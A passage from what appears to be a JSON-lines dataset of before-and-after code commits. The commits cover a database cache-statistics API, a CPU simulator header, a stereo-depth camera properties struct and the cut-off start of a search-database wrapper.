cs::get_row_requests.set(r, [&ctx] (std::unique_ptr<request> req) {\n        return map_reduce_cf(ctx, uint64_t(0), [](const column_family& cf) {\n            return cf.get_row_cache().stats().hits.count() + cf.get_row_cache().stats().misses.count();\n        }, std::plus<uint64_t>());\n    });\n\n    cs::get_row_hit_rate.set(r, [&ctx] (std::unique_ptr<request> req) {\n        return map_reduce_cf(ctx, ratio_holder(), [](const column_family& cf) {\n            return ratio_holder(cf.get_row_cache().stats().hits.count() + cf.get_row_cache().stats().misses.count(),\n                    cf.get_row_cache().stats().hits.count());\n        }, std::plus<ratio_holder>());\n    });\n\n    cs::get_row_hits_moving_avrage.set(r, [&ctx] (std::unique_ptr<request> req) {\n        return map_reduce_cf_raw(ctx, utils::rate_moving_average(), [](const column_family& cf) {\n            return cf.get_row_cache().stats().hits.rate();\n        }, std::plus<utils::rate_moving_average>()).then([](const utils::rate_moving_average& m) {\n            return make_ready_future<json::json_return_type>(meter_to_json(m));\n        });\n    });\n\n    cs::get_row_requests_moving_avrage.set(r, [&ctx] (std::unique_ptr<request> req) {\n        return map_reduce_cf_raw(ctx, utils::rate_moving_average(), [](const column_family& cf) {\n            return cf.get_row_cache().stats().hits.rate() + cf.get_row_cache().stats().misses.rate();\n        }, std::plus<utils::rate_moving_average>()).then([](const utils::rate_moving_average& m) {\n            return make_ready_future<json::json_return_type>(meter_to_json(m));\n        });\n    });\n\n    cs::get_row_size.set(r, [&ctx] (std::unique_ptr<request> req) {\n        \/\/ In origin row size is the weighted size.\n        \/\/ We currently do not support weights, so we use num entries instead\n        return map_reduce_cf(ctx, 0, [](const column_family& cf) {\n            return cf.get_row_cache().partitions();\n        }, std::plus<uint64_t>());\n    });\n\n    cs::get_row_entries.set(r, [&ctx] (std::unique_ptr<request> req) {\n        return map_reduce_cf(ctx, 0, [](const column_family& cf) {\n            return cf.get_row_cache().partitions();\n        }, std::plus<uint64_t>());\n    });\n\n    cs::get_counter_capacity.set(r, [] (std::unique_ptr<request> req) {\n        \/\/ TBD\n        \/\/ FIXME\n        \/\/ we don't support counter cache,\n        \/\/ so currently returning a 0 for rate is ok\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::get_counter_hits.set(r, [] (std::unique_ptr<request> req) {\n        \/\/ TBD\n        \/\/ FIXME\n        \/\/ we don't support counter cache,\n        \/\/ so currently returning a 0 for hits is ok\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::get_counter_requests.set(r, [] (std::unique_ptr<request> req) {\n        \/\/ TBD\n        \/\/ FIXME\n        \/\/ we don't support counter cache,\n        \/\/ so currently returning a 0 for hits is ok\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::get_counter_hit_rate.set(r, [] (std::unique_ptr<request> req) {\n        \/\/ TBD\n        \/\/ FIXME\n        \/\/ we don't support counter cache,\n        \/\/ so currently returning a 0 for rate is ok\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::get_counter_hits_moving_avrage.set(r, [&ctx] (std::unique_ptr<request> req) {\n        \/\/ TBD\n        \/\/ FIXME\n        \/\/ See above\n        return make_ready_future<json::json_return_type>(meter_to_json(utils::rate_moving_average()));\n    });\n\n    cs::get_counter_requests_moving_avrage.set(r, [&ctx] (std::unique_ptr<request> req) {\n        \/\/ TBD\n        \/\/ FIXME\n        \/\/ See above\n        return make_ready_future<json::json_return_type>(meter_to_json(utils::rate_moving_average()));\n    });\n\n    cs::get_counter_size.set(r, [] (std::unique_ptr<request> req) {\n        \/\/ TBD\n        \/\/ FIXME\n        \/\/ we don't support counter cache,\n        \/\/ so currently returning a 0 for size is ok\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::get_counter_entries.set(r, [] (std::unique_ptr<request> req) {\n        \/\/ TBD\n        \/\/ FIXME\n        \/\/ we don't support counter cache,\n        \/\/ so currently returning a 0 for entries is ok\n        return make_ready_future<json::json_return_type>(0);\n    });\n}\n\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2002-2005 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Authors: Steve Reinhardt\n *          Nathan Binkert\n *\/\n\n#ifndef __CPU_BASE_HH__\n#define __CPU_BASE_HH__\n\n#include <vector>\n\n#include \"arch\/isa_traits.hh\"\n#include \"base\/statistics.hh\"\n#include \"config\/full_system.hh\"\n#include \"sim\/eventq.hh\"\n#include \"sim\/insttracer.hh\"\n#include \"mem\/mem_object.hh\"\n\n#if FULL_SYSTEM\n#include \"arch\/interrupts.hh\"\n#endif\n\nclass BaseCPUParams;\nclass BranchPred;\nclass CheckerCPU;\nclass ThreadContext;\nclass System;\nclass Port;\n\nnamespace TheISA\n{\n    class Predecoder;\n}\n\nclass CPUProgressEvent : public Event\n{\n  protected:\n    Tick interval;\n    Counter lastNumInst;\n    BaseCPU *cpu;\n\n  public:\n    CPUProgressEvent(BaseCPU *_cpu, Tick ival);\n\n    void process();\n\n    virtual const char *description() const;\n};\n\nclass BaseCPU : public MemObject\n{\n  protected:\n    \/\/ CPU's clock period in terms of the number of ticks of curTime.\n    Tick clock;\n    \/\/ @todo remove me after debugging with legion done\n    Tick instCnt;\n\n  public:\n\/\/    Tick currentTick;\n    inline Tick frequency() const { return Clock::Frequency \/ clock; }\n    inline Tick ticks(int numCycles) const { return clock * numCycles; }\n    inline Tick curCycle() const { return curTick \/ clock; }\n    inline Tick tickToCycles(Tick val) const { return val \/ clock; }\n    \/\/ @todo remove me after debugging with legion done\n    Tick instCount() { return instCnt; }\n\n    \/** The next cycle the CPU should be scheduled, given a cache\n     * access or quiesce event returning on this cycle.  This function\n     * may return curTick if the CPU should run on the current cycle.\n     *\/\n    Tick nextCycle();\n\n    \/** The next cycle the CPU should be scheduled, given a cache\n     * access or quiesce event returning on the given Tick.  This\n     * function may return curTick if the CPU should run on the\n     * current cycle.\n     * @param begin_tick The tick that the event is completing on.\n     *\/\n    Tick nextCycle(Tick begin_tick);\n\n#if FULL_SYSTEM\n  protected:\n\/\/    uint64_t interrupts[TheISA::NumInterruptLevels];\n\/\/    uint64_t intstatus;\n    TheISA::Interrupts interrupts;\n\n  public:\n    virtual void post_interrupt(int int_num, int index);\n    virtual void clear_interrupt(int int_num, int index);\n    virtual void clear_interrupts();\n    virtual uint64_t get_interrupts(int int_num);\n\n    bool check_interrupts(ThreadContext * tc) const\n    { return interrupts.check_interrupts(tc); }\n\n    class ProfileEvent : public Event\n    {\n      private:\n        BaseCPU *cpu;\n        Tick interval;\n\n      public:\n        ProfileEvent(BaseCPU *cpu, Tick interval);\n        void process();\n    };\n    ProfileEvent *profileEvent;\n#endif\n\n  protected:\n    std::vector<ThreadContext *> threadContexts;\n    std::vector<TheISA::Predecoder *> predecoders;\n\n    Trace::InstTracer * tracer;\n\n  public:\n\n    \/\/\/ Provide access to the tracer pointer\n    Trace::InstTracer * getTracer() { return tracer; }\n\n    \/\/\/ Notify the CPU that the indicated context is now active.  The\n    \/\/\/ delay parameter indicates the number of ticks to wait before\n    \/\/\/ executing (typically 0 or 1).\n    virtual void activateContext(int thread_num, int delay) {}\n\n    \/\/\/ Notify the CPU that the indicated context is now suspended.\n    virtual void suspendContext(int thread_num) {}\n\n    \/\/\/ Notify the CPU that the indicated context is now deallocated.\n    virtual void deallocateContext(int thread_num) {}\n\n    \/\/\/ Notify the CPU that the indicated context is now halted.\n    virtual void haltContext(int thread_num) {}\n\n   \/\/\/ Given a Thread Context pointer return the thread num\n   int findContext(ThreadContext *tc);\n\n   \/\/\/ Given a thread num get tho thread context for it\n   ThreadContext *getContext(int tn) { return threadContexts[tn]; }\n\n  public:\n    typedef BaseCPUParams Params;\n    const Params *params() const\n    { return reinterpret_cast<const Params *>(_params); }\n    BaseCPU(Params *params);\n    virtual ~BaseCPU();\n\n    virtual void init();\n    virtual void startup();\n    virtual void regStats();\n\n    virtual void activateWhenReady(int tid) {};\n\n    void registerThreadContexts();\n\n    \/\/\/ Prepare for another CPU to take over execution.  When it is\n    \/\/\/ is ready (drained pipe) it signals the sampler.\n    virtual void switchOut();\n\n    \/\/\/ Take over execution from the given CPU.  Used for warm-up and\n    \/\/\/ sampling.\n    virtual void takeOverFrom(BaseCPU *, Port *ic, Port *dc);\n\n    \/**\n     *  Number of threads we're actually simulating (<= SMT_MAX_THREADS).\n     * This is a constant for the duration of the simulation.\n     *\/\n    int number_of_threads;\n\n    TheISA::CoreSpecific coreParams; \/\/ISA-Specific Params That Set Up State in Core\n\n    \/**\n     * Vector of per-thread instruction-based event queues.  Used for\n     * scheduling events based on number of instructions committed by\n     * a particular thread.\n     *\/\n    EventQueue **comInstEventQueue;\n\n    \/**\n     * Vector of per-thread load-based event queues.  Used for\n     * scheduling events based on number of loads committed by\n     *a particular thread.\n     *\/\n    EventQueue **comLoadEventQueue;\n\n    System *system;\n\n    Tick phase;\n\n#if FULL_SYSTEM\n    \/**\n     * Serialize this object to the given output stream.\n     * @param os The stream to serialize to.\n     *\/\n    virtual void serialize(std::ostream &os);\n\n    \/**\n     * Reconstruct the state of this object from a checkpoint.\n     * @param cp The checkpoint use.\n     * @param section The section name of this object\n     *\/\n    virtual void unserialize(Checkpoint *cp, const std::string &section);\n\n#endif\n\n    \/**\n     * Return pointer to CPU's branch predictor (NULL if none).\n     * @return Branch predictor pointer.\n     *\/\n    virtual BranchPred *getBranchPred() { return NULL; };\n\n    virtual Counter totalInstructions() const { return 0; }\n\n    \/\/ Function tracing\n  private:\n    bool functionTracingEnabled;\n    std::ostream *functionTraceStream;\n    Addr currentFunctionStart;\n    Addr currentFunctionEnd;\n    Tick functionEntryTick;\n    void enableFunctionTrace();\n    void traceFunctionsInternal(Addr pc);\n\n  protected:\n    void traceFunctions(Addr pc)\n    {\n        if (functionTracingEnabled)\n            traceFunctionsInternal(pc);\n    }\n\n  private:\n    static std::vector<BaseCPU *> cpuList;   \/\/!< Static global cpu list\n\n  public:\n    static int numSimulatedCPUs() { return cpuList.size(); }\n    static Counter numSimulatedInstructions()\n    {\n        Counter total = 0;\n\n        int size = cpuList.size();\n        for (int i = 0; i < size; ++i)\n            total += cpuList[i]->totalInstructions();\n\n        return total;\n    }\n\n  public:\n    \/\/ Number of CPU cycles simulated\n    Stats::Scalar<> numCycles;\n};\n\n#endif \/\/ __CPU_BASE_HH__\n<commit_msg>CPU: Add a getInterruptController function<commit_after>\/*\n * Copyright (c) 2002-2005 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Authors: Steve Reinhardt\n *          Nathan Binkert\n *\/\n\n#ifndef __CPU_BASE_HH__\n#define __CPU_BASE_HH__\n\n#include <vector>\n\n#include \"arch\/isa_traits.hh\"\n#include \"base\/statistics.hh\"\n#include \"config\/full_system.hh\"\n#include \"sim\/eventq.hh\"\n#include \"sim\/insttracer.hh\"\n#include \"mem\/mem_object.hh\"\n\n#if FULL_SYSTEM\n#include \"arch\/interrupts.hh\"\n#endif\n\nclass BaseCPUParams;\nclass BranchPred;\nclass CheckerCPU;\nclass ThreadContext;\nclass System;\nclass Port;\n\nnamespace TheISA\n{\n    class Predecoder;\n}\n\nclass CPUProgressEvent : public Event\n{\n  protected:\n    Tick interval;\n    Counter lastNumInst;\n    BaseCPU *cpu;\n\n  public:\n    CPUProgressEvent(BaseCPU *_cpu, Tick ival);\n\n    void process();\n\n    virtual const char *description() const;\n};\n\nclass BaseCPU : public MemObject\n{\n  protected:\n    \/\/ CPU's clock period in terms of the number of ticks of curTime.\n    Tick clock;\n    \/\/ @todo remove me after debugging with legion done\n    Tick instCnt;\n\n  public:\n\/\/    Tick currentTick;\n    inline Tick frequency() const { return Clock::Frequency \/ clock; }\n    inline Tick ticks(int numCycles) const { return clock * numCycles; }\n    inline Tick curCycle() const { return curTick \/ clock; }\n    inline Tick tickToCycles(Tick val) const { return val \/ clock; }\n    \/\/ @todo remove me after debugging with legion done\n    Tick instCount() { return instCnt; }\n\n    \/** The next cycle the CPU should be scheduled, given a cache\n     * access or quiesce event returning on this cycle.  This function\n     * may return curTick if the CPU should run on the current cycle.\n     *\/\n    Tick nextCycle();\n\n    \/** The next cycle the CPU should be scheduled, given a cache\n     * access or quiesce event returning on the given Tick.  This\n     * function may return curTick if the CPU should run on the\n     * current cycle.\n     * @param begin_tick The tick that the event is completing on.\n     *\/\n    Tick nextCycle(Tick begin_tick);\n\n#if FULL_SYSTEM\n  protected:\n\/\/    uint64_t interrupts[TheISA::NumInterruptLevels];\n\/\/    uint64_t intstatus;\n    TheISA::Interrupts interrupts;\n\n  public:\n    TheISA::Interrupts *\n    getInterruptController()\n    {\n        return &interrupts;\n    }\n\n    virtual void post_interrupt(int int_num, int index);\n    virtual void clear_interrupt(int int_num, int index);\n    virtual void clear_interrupts();\n    virtual uint64_t get_interrupts(int int_num);\n\n    bool check_interrupts(ThreadContext * tc) const\n    { return interrupts.check_interrupts(tc); }\n\n    class ProfileEvent : public Event\n    {\n      private:\n        BaseCPU *cpu;\n        Tick interval;\n\n      public:\n        ProfileEvent(BaseCPU *cpu, Tick interval);\n        void process();\n    };\n    ProfileEvent *profileEvent;\n#endif\n\n  protected:\n    std::vector<ThreadContext *> threadContexts;\n    std::vector<TheISA::Predecoder *> predecoders;\n\n    Trace::InstTracer * tracer;\n\n  public:\n\n    \/\/\/ Provide access to the tracer pointer\n    Trace::InstTracer * getTracer() { return tracer; }\n\n    \/\/\/ Notify the CPU that the indicated context is now active.  The\n    \/\/\/ delay parameter indicates the number of ticks to wait before\n    \/\/\/ executing (typically 0 or 1).\n    virtual void activateContext(int thread_num, int delay) {}\n\n    \/\/\/ Notify the CPU that the indicated context is now suspended.\n    virtual void suspendContext(int thread_num) {}\n\n    \/\/\/ Notify the CPU that the indicated context is now deallocated.\n    virtual void deallocateContext(int thread_num) {}\n\n    \/\/\/ Notify the CPU that the indicated context is now halted.\n    virtual void haltContext(int thread_num) {}\n\n   \/\/\/ Given a Thread Context pointer return the thread num\n   int findContext(ThreadContext *tc);\n\n   \/\/\/ Given a thread num get tho thread context for it\n   ThreadContext *getContext(int tn) { return threadContexts[tn]; }\n\n  public:\n    typedef BaseCPUParams Params;\n    const Params *params() const\n    { return reinterpret_cast<const Params *>(_params); }\n    BaseCPU(Params *params);\n    virtual ~BaseCPU();\n\n    virtual void init();\n    virtual void startup();\n    virtual void regStats();\n\n    virtual void activateWhenReady(int tid) {};\n\n    void registerThreadContexts();\n\n    \/\/\/ Prepare for another CPU to take over execution.  When it is\n    \/\/\/ is ready (drained pipe) it signals the sampler.\n    virtual void switchOut();\n\n    \/\/\/ Take over execution from the given CPU.  Used for warm-up and\n    \/\/\/ sampling.\n    virtual void takeOverFrom(BaseCPU *, Port *ic, Port *dc);\n\n    \/**\n     *  Number of threads we're actually simulating (<= SMT_MAX_THREADS).\n     * This is a constant for the duration of the simulation.\n     *\/\n    int number_of_threads;\n\n    TheISA::CoreSpecific coreParams; \/\/ISA-Specific Params That Set Up State in Core\n\n    \/**\n     * Vector of per-thread instruction-based event queues.  Used for\n     * scheduling events based on number of instructions committed by\n     * a particular thread.\n     *\/\n    EventQueue **comInstEventQueue;\n\n    \/**\n     * Vector of per-thread load-based event queues.  Used for\n     * scheduling events based on number of loads committed by\n     *a particular thread.\n     *\/\n    EventQueue **comLoadEventQueue;\n\n    System *system;\n\n    Tick phase;\n\n#if FULL_SYSTEM\n    \/**\n     * Serialize this object to the given output stream.\n     * @param os The stream to serialize to.\n     *\/\n    virtual void serialize(std::ostream &os);\n\n    \/**\n     * Reconstruct the state of this object from a checkpoint.\n     * @param cp The checkpoint use.\n     * @param section The section name of this object\n     *\/\n    virtual void unserialize(Checkpoint *cp, const std::string &section);\n\n#endif\n\n    \/**\n     * Return pointer to CPU's branch predictor (NULL if none).\n     * @return Branch predictor pointer.\n     *\/\n    virtual BranchPred *getBranchPred() { return NULL; };\n\n    virtual Counter totalInstructions() const { return 0; }\n\n    \/\/ Function tracing\n  private:\n    bool functionTracingEnabled;\n    std::ostream *functionTraceStream;\n    Addr currentFunctionStart;\n    Addr currentFunctionEnd;\n    Tick functionEntryTick;\n    void enableFunctionTrace();\n    void traceFunctionsInternal(Addr pc);\n\n  protected:\n    void traceFunctions(Addr pc)\n    {\n        if (functionTracingEnabled)\n            traceFunctionsInternal(pc);\n    }\n\n  private:\n    static std::vector<BaseCPU *> cpuList;   \/\/!< Static global cpu list\n\n  public:\n    static int numSimulatedCPUs() { return cpuList.size(); }\n    static Counter numSimulatedInstructions()\n    {\n        Counter total = 0;\n\n        int size = cpuList.size();\n        for (int i = 0; i < size; ++i)\n            total += cpuList[i]->totalInstructions();\n\n        return total;\n    }\n\n  public:\n    \/\/ Number of CPU cycles simulated\n    Stats::Scalar<> numCycles;\n};\n\n#endif \/\/ __CPU_BASE_HH__\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>removing set_cql_version. Force cql3<commit_after><|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <depthai-shared\/common\/EepromData.hpp>\n#include <depthai-shared\/common\/optional.hpp>\n#include <nlohmann\/json.hpp>\n\n#include \"depthai-shared\/common\/CameraBoardSocket.hpp\"\n#include \"depthai-shared\/datatype\/RawStereoDepthConfig.hpp\"\n\nnamespace dai {\n\n\/**\n * Specify properties for StereoDepth\n *\/\nstruct StereoDepthProperties {\n    struct RectificationMesh {\n        \/**\n         * Uri which points to the mesh array for 'left' input rectification\n         *\/\n        std::string meshLeftUri;\n        \/**\n         * Uri which points to the mesh array for 'right' input rectification\n         *\/\n        std::string meshRightUri;\n        \/**\n         * Mesh array size in bytes, for each of 'left' and 'right' (need to match)\n         *\/\n        tl::optional<std::uint32_t> meshSize;\n        \/**\n         * Distance between mesh points, in the horizontal direction\n         *\/\n        uint16_t stepWidth = 16;\n        \/**\n         * Distance between mesh points, in the vertical direction\n         *\/\n        uint16_t stepHeight = 16;\n\n        NLOHMANN_DEFINE_TYPE_INTRUSIVE(RectificationMesh, meshLeftUri, meshRightUri, meshSize, stepWidth, stepHeight);\n    };\n\n    \/\/\/ Initial stereo config\n    RawStereoDepthConfig initialConfig;\n\n    \/\/\/ Whether to wait for config at 'inputConfig' IO\n    bool inputConfigSync = false;\n\n    using MedianFilter = dai::MedianFilter;\n\n    \/**\n     * Align the disparity\/depth to the perspective of a rectified output, or center it\n     *\/\n    enum class DepthAlign : int32_t { RECTIFIED_RIGHT, RECTIFIED_LEFT, CENTER };\n\n    \/**\n     * Calibration data byte array\n     *\/\n    std::vector<std::uint8_t> calibration;\n\n    EepromData calibrationData;\n\n    \/**\n     * Set the disparity\/depth alignment to the perspective of a rectified output, or center it\n     *\/\n    DepthAlign depthAlign = DepthAlign::RECTIFIED_RIGHT;\n    \/**\n     * Which camera to align disparity\/depth to.\n     * When configured (not AUTO), takes precedence over 'depthAlign'\n     *\/\n    CameraBoardSocket depthAlignCamera = CameraBoardSocket::AUTO;\n\n    bool enableRectification = true;\n    \/**\n     * Computes and combines disparities in both L-R and R-L directions, and combine them.\n     * For better occlusion handling\n     *\/\n    bool enableLeftRightCheck = false;\n    \/**\n     * Computes disparity with sub-pixel interpolation (5 fractional bits), suitable for long range\n     *\/\n    bool enableSubpixel = false;\n    \/**\n     * Disparity range increased from 96 to 192, combined from full resolution and downscaled images.\n     * Suitable for short range objects\n     *\/\n    bool enableExtendedDisparity = false;\n    \/**\n     * Mirror rectified frames: true to have disparity\/depth normal (non-mirrored)\n     *\/\n    bool rectifyMirrorFrame = true;\n    \/**\n     * Fill color for missing data at frame edges: grayscale 0..255, or -1 to replicate pixels\n     *\/\n    std::int32_t rectifyEdgeFillColor = -1;\n    \/**\n     * Input frame width. Optional (taken from MonoCamera nodes if they exist)\n     *\/\n    tl::optional<std::int32_t> width;\n    \/**\n     * Input frame height. Optional (taken from MonoCamera nodes if they exist)\n     *\/\n    tl::optional<std::int32_t> height;\n    \/**\n     * Output disparity\/depth width. Currently only used when aligning to RGB\n     *\/\n    tl::optional<std::int32_t> outWidth;\n    \/**\n     * Output disparity\/depth height. Currently only used when aligning to RGB\n     *\/\n    tl::optional<std::int32_t> outHeight;\n    \/**\n     * Whether to keep aspect ratio of the input (rectified) or not\n     *\/\n    bool outKeepAspectRatio = true;\n\n    \/**\n     * Specify a direct warp mesh to be used for rectification,\n     * instead of intrinsics + extrinsic matrices\n     *\/\n    RectificationMesh mesh;\n};\n\nNLOHMANN_DEFINE_TYPE_NON_INTRUSIVE(StereoDepthProperties,\n                                   initialConfig,\n                                   inputConfigSync,\n                                   calibration,\n                                   calibrationData,\n                                   depthAlign,\n                                   depthAlignCamera,\n                                   enableRectification,\n                                   enableLeftRightCheck,\n                                   enableSubpixel,\n                                   enableExtendedDisparity,\n                                   rectifyMirrorFrame,\n                                   rectifyEdgeFillColor,\n                                   width,\n                                   height,\n                                   outWidth,\n                                   outHeight,\n                                   outKeepAspectRatio,\n                                   mesh);\n\n}  \/\/ namespace dai\n<commit_msg>Make stereo host calibration optional<commit_after>#pragma once\n\n#include <depthai-shared\/common\/EepromData.hpp>\n#include <depthai-shared\/common\/optional.hpp>\n#include <nlohmann\/json.hpp>\n\n#include \"depthai-shared\/common\/CameraBoardSocket.hpp\"\n#include \"depthai-shared\/datatype\/RawStereoDepthConfig.hpp\"\n\nnamespace dai {\n\n\/**\n * Specify properties for StereoDepth\n *\/\nstruct StereoDepthProperties {\n    struct RectificationMesh {\n        \/**\n         * Uri which points to the mesh array for 'left' input rectification\n         *\/\n        std::string meshLeftUri;\n        \/**\n         * Uri which points to the mesh array for 'right' input rectification\n         *\/\n        std::string meshRightUri;\n        \/**\n         * Mesh array size in bytes, for each of 'left' and 'right' (need to match)\n         *\/\n        tl::optional<std::uint32_t> meshSize;\n        \/**\n         * Distance between mesh points, in the horizontal direction\n         *\/\n        uint16_t stepWidth = 16;\n        \/**\n         * Distance between mesh points, in the vertical direction\n         *\/\n        uint16_t stepHeight = 16;\n\n        NLOHMANN_DEFINE_TYPE_INTRUSIVE(RectificationMesh, meshLeftUri, meshRightUri, meshSize, stepWidth, stepHeight);\n    };\n\n    \/\/\/ Initial stereo config\n    RawStereoDepthConfig initialConfig;\n\n    \/\/\/ Whether to wait for config at 'inputConfig' IO\n    bool inputConfigSync = false;\n\n    using MedianFilter = dai::MedianFilter;\n\n    \/**\n     * Align the disparity\/depth to the perspective of a rectified output, or center it\n     *\/\n    enum class DepthAlign : int32_t { RECTIFIED_RIGHT, RECTIFIED_LEFT, CENTER };\n\n    \/**\n     * Calibration data byte array\n     *\/\n    tl::optional<std::vector<std::uint8_t>> calibration;\n\n    EepromData calibrationData;\n\n    \/**\n     * Set the disparity\/depth alignment to the perspective of a rectified output, or center it\n     *\/\n    DepthAlign depthAlign = DepthAlign::RECTIFIED_RIGHT;\n    \/**\n     * Which camera to align disparity\/depth to.\n     * When configured (not AUTO), takes precedence over 'depthAlign'\n     *\/\n    CameraBoardSocket depthAlignCamera = CameraBoardSocket::AUTO;\n\n    bool enableRectification = true;\n    \/**\n     * Computes and combines disparities in both L-R and R-L directions, and combine them.\n     * For better occlusion handling\n     *\/\n    bool enableLeftRightCheck = false;\n    \/**\n     * Computes disparity with sub-pixel interpolation (5 fractional bits), suitable for long range\n     *\/\n    bool enableSubpixel = false;\n    \/**\n     * Disparity range increased from 96 to 192, combined from full resolution and downscaled images.\n     * Suitable for short range objects\n     *\/\n    bool enableExtendedDisparity = false;\n    \/**\n     * Mirror rectified frames: true to have disparity\/depth normal (non-mirrored)\n     *\/\n    bool rectifyMirrorFrame = true;\n    \/**\n     * Fill color for missing data at frame edges: grayscale 0..255, or -1 to replicate pixels\n     *\/\n    std::int32_t rectifyEdgeFillColor = -1;\n    \/**\n     * Input frame width. Optional (taken from MonoCamera nodes if they exist)\n     *\/\n    tl::optional<std::int32_t> width;\n    \/**\n     * Input frame height. Optional (taken from MonoCamera nodes if they exist)\n     *\/\n    tl::optional<std::int32_t> height;\n    \/**\n     * Output disparity\/depth width. Currently only used when aligning to RGB\n     *\/\n    tl::optional<std::int32_t> outWidth;\n    \/**\n     * Output disparity\/depth height. Currently only used when aligning to RGB\n     *\/\n    tl::optional<std::int32_t> outHeight;\n    \/**\n     * Whether to keep aspect ratio of the input (rectified) or not\n     *\/\n    bool outKeepAspectRatio = true;\n\n    \/**\n     * Specify a direct warp mesh to be used for rectification,\n     * instead of intrinsics + extrinsic matrices\n     *\/\n    RectificationMesh mesh;\n};\n\nNLOHMANN_DEFINE_TYPE_NON_INTRUSIVE(StereoDepthProperties,\n                                   initialConfig,\n                                   inputConfigSync,\n                                   calibration,\n                                   calibrationData,\n                                   depthAlign,\n                                   depthAlignCamera,\n                                   enableRectification,\n                                   enableLeftRightCheck,\n                                   enableSubpixel,\n                                   enableExtendedDisparity,\n                                   rectifyMirrorFrame,\n                                   rectifyEdgeFillColor,\n                                   width,\n                                   height,\n                                   outWidth,\n                                   outHeight,\n                                   outKeepAspectRatio,\n                                   mesh);\n\n}  \/\/ namespace dai\n<|endoftext|>"}
{"text":"<commit_before> \/*\n * Copyright deipi.com LLC and contributors. All rights reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to\n * deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n * sell copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n *\/\n\n#include \"utils.h\"\n\n#include \"database.h\"\n#include <xapian\/dbfactory.h>\n\n#define DOCUMENT_ID_TERM_PREFIX 'Q'\n\n\nDatabase::Database(Endpoints &endpoints_, bool writable_)\n\t: endpoints(endpoints_),\n\t  writable(writable_),\n\t  db(NULL)\n{\n\thash = endpoints.hash(writable);\n\treopen();\n}\n\n\nvoid\nDatabase::reopen()\n{\n\tif (db) {\n\t\t\/\/ Try to reopen\n\t\ttry {\n\t\t\tdb->reopen();\n\t\t\treturn;\n\t\t} catch (const Xapian::Error &e) {\n\t\t\tLOG_ERR(this, \"ERROR: %s\\n\", 